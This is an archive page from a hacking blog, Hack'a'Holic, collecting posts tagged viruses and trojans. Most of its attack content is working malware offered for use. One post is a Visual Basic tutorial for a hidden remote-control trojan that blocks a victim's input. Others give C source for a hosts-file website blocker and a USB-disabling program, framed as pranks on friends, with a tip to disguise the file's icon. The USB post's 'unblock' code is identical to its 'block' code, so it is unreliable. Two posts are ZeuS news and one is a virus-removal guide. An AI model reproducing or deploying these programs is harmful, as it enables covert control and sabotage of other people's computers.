Hack'a'Holic : Decrypting Encrypted Ideas: Viruses

Showing posts with label Viruses - Trojans. Show all posts

Learn how to Make Trojan in VB (Code)

Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code.

Server

The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

Code: VB

Private Sub Form_Load()

Me.Visible = False

End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!

The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

win.LocalPort = 2999

win.RemotePort = 455

win.Listen

End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Code: VB

Private Sub win_ConnectionRequest(ByVal requestID As Long)

win.Close

win.Accept requestID

End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)

win.GetData GotDat

DoActions (GotDat)

End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Code: VB

Public Function DoActions(x As String)

Dim Action

Select Case x

Case "block"

Action = BlockInput(True)

End Select

End Function

Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

win.LocalPort = 2999

win.RemotePort = 455

win.Listen

End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337

win.Close

win.Accept requestID

End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)

win.GetData GotDat

DoActions (GotDat)

End Sub

Remember to add your winsock control and name it to win if you use this code.

Code: VB

Module

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Public Function DoActions(x As String)

Dim Action

Select Case x

Case "block"

Action = BlockInput(True)

End Select

End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box

should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Code: VB

Private Sub cmdConnect_Click()

IpAddy = txtIp.Text

Win.Close

Win.RemotePort = 2999

Win.RemoteHost = IpAddy

Win.LocalPort = 9999

Win.Connect

cmdConnect.Enabled = False

End Sub

Private Sub cmdDisconnect_Click()

Win.Close

cmdConnect.Enabled = True

End Sub

Private Sub cmdBlockInput_Click()

Win.SendData "block"

End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.

Do post in your comments for any Queries

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Computers, Viruses - Trojans, Windows | 6 Comments

ZeuS Spreading via Facebook Friends Request

New spamming campaign has been reported by Trend micro. This type of malware is spreading through Facebook. The downloaded malware is another type of Zbot, also called Zeus a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet.
Malware spreads by sending messages to victims that includes Facebook friend request notification. When user clicks to approve the friend request link opens a page that invites him to install the latest version of Adobe Flash Player. But here the link takes user to install TSPY_ZBOT.FAZ instead of Adobe Flash Player.

This spyware adds registry entries to enable its automatic execution at every system startup. It attempts to steal information, such as user names and passwords, used when logging into certain banking or finance-related websites.
Generally Trojan.Zbot files are used to compromise computers is generated using a special toolkit that is available in marketplaces for online criminals. Toolkit allows an attacker a high degree of control over the functionality of the final executable that is distributed to targeted computers.
The Trojan itself is primarily distributed through spam campaigns and drive-by downloads, though given its versatility, other vectors may also be utilized. The user may receive an email message purporting to be from organizations such as the FDIC, IRS, MySpace, Facebook, or Microsoft.

posted under Facebook, Informative, Viruses - Trojans | 18 Comments

Fake ‘Friend Request’ E-mail from Facebook Delivers Trojan: Cyberoam

According to Cyberoam an IT firm, which recently published a survey report, online scammers are targeting Facebook members by sending them several "friend request" messages for defrauding them into taking down one banker Trojan, published The Times of India on October 19, 2011.
The survey, which Cyberoam conducted, reportedly involved Commtouch another IT security software firm as a partner.
Senior Vice-President of Product Management Abhilash Sonwane at Cyberoam stated that modern scammers along with malware creators knew very well Facebook users' behavioral psychology. They knew that, although intelligent, many users of the social-networking website didn't think again prior to accepting an unknown stranger's 'friend request' e-mail, alternatively answering random such e-mails, hoping they would get gifts and free devices. Online-crooks would constantly tweak their assaults against websites for social-networking exploiting the public's frailties, Sonwane explained. IndiaPRwire reported this on October 19, 2011.
Moreover, Cyberoam as well noticed how free offers through Facebook enticed users that prompted them for disseminating junk e-mails within their friends circle. In addition, the survey discovered an omnipresent "like" button on Facebook that advertising-fraudsters harnessed for enticing end-users into supposedly getting an iPhone 4 for free.
Evidently, the fraudsters gained much out of effective 'free' publicity because of Facebook users' trustworthiness, in addition to potentially acquire their other details from personal profiles to commit ID-theft.
Moreover, spam attachments crafted with "right-to-left" override, deceived people who didn't bother about file extensions on computers running Windows.
In the meantime, the report further revealed that India kept on being on No.1 among the globe's major 'compromised PC' or technically, 'zombie' destinations, while Brazil fell to No.3 rank.
Additionally, according to the report, e-mail-borne viruses revived during Q3-2011 when numerous attacks occurred during August-September 2011. At the peak, however, 25bn malware-laced e-mails were distributed per day.
Meanwhile, users wishing for getting the free iPhone 4 had the message directing them for 'liking' many web-pages, supplying their postal add as well as passing on the 'friend request' e-mail to at least 100 others, thereby making sure the scam proliferated,
Hence, according to the security specialists, social networking members require staying vigilant about these scams.

posted under Facebook, Informative, Viruses - Trojans | 1 Comments

Prank your Friend : Block Websites on his PC Virus

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the Source Code of the virus :

#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

1. Paste the Above Given Source Code in Notepad & Save it as "Website_Block.c"
2. Compile the above created source file using a C Compiler.
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.
4.Once you run the file Website_Block.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

5. To remove the virus type the following in the Run Dialog Box. (Start -> Run)

%windir%\system32\drivers\etc

6.There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

7. Delete all such entries which contain the names of blocked sites.

Enjoy playing this Prank over your Friends & make them toil to use these Websites :D ;-)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Computers, Firefox, Viruses - Trojans, WEBSITE HACKING, Windows | 1 Comments

Disable USB Ports : Virus Source Code

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Copy the below Given Code in Notepad & Save it as "block_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

2. Again Copy the below Given Code in Notepad & Save it as "unblock_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

3. Compile the Above two saved files using a C Compiler before you can run it.

4. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

5. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

6. You can also change the icon of this file to make it look like a legitimate program.

Hope you would have Liked it. Do post back your comments over it. :) :)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Hacking, Viruses - Trojans, Windows | 0 Comments

Remove REGSVR.EXE and New Folder.exe viruses completely

Plug a pendrive into a public computer and you will be pesked by the continuously replicating “New Folder.exe” virus or the “regsvr.exe” virus. Hear my story, while I transferred my notes last night (around 600 folders) and I was surprised to see that around 450 MB of space was eaten by these self replicating space eaters ! I was running Linux so these were not a concern for me, but when I plugged my pendrive into my virtual machine (windows xp sp2), it caused multiple problems of explorer corruption and disabling registry tools.

Time for some virus busting I guess..here is how you can remove “regsvr.exe” and “new folder.exe” from your computer.

Step 1 - Some Startup Repairs

First of all, boot into safe mode.After you get to your desktop,press F3 or Ctrl + F and search for “autorun.inf” file in your computer and delete all the subsequent files. I case you are no able to delete them, select all the files and uncheck the”Read Only” option. If you are still not able to delete them , you might want to try out Unlocker tool todelete the files.

Now go to

start – > run –> type ”msconfig”

and press enter

Go to startup tab and uncheck “regsvr”, click ok and then click on “Exit without restart”.

Now go to

control panel –> scheduled tasks and delete “At1” task listed there.

Once done, close all windows.

Step 2 - Changing Configurations

Your registry might be disabled,and you need to activate it back to undo all the malicious changes done by worm.In order to do that, you need to go to

start – > run –> type ”gpedit.msc”

and press enter

then navigate to

users configuration –> Administrative templates –> systems

Find “prevent access to registry editing tools” , double click it and change the option to disable.

Once done, your Regedit will be enabled. In case your task manager is disabled, you need to enable it.

Step 3 - Registry Edits

Now we have to perform some registry edits to enable our explorer and to remove all instances of worm from the registry. Go to

start – > run –> type ”regedit”

and press enter

Click on Edit –> Find and search for regsvr.exe . Find and delete all the occurrences of regsvr.exe virus (don't delete regsvr32.exe as its not a virus).

then navigate to entry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

and modify the entry

Shell = “Explorer.exe regsvr.exe”

to delete the regsvr.exe from it,so that it becomes

Shell = “Explorer.exe”

Once done, close all windows and get ready to delete all virus files.

Step 4 - Deleting Virus Files

The final step is to delete all the virus files in your computer. To do this, Press F3 or Ctrl + F and search for regsvr.exe (make sure to search in hidden folders ) and delete all “regsvr.exe” “svchost .exe” files (notice the gap between ‘svchost’ and ‘.exe’, keep in mind you don't delete the legitimate file.).

Clean your recycle bin and restart your PC (perform a cold boot).

Volia..you have cleaned your computer from regsvr..just make sure to scan your pendrive the next time you plug in :)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Hacking, Viruses - Trojans, Windows | 0 Comments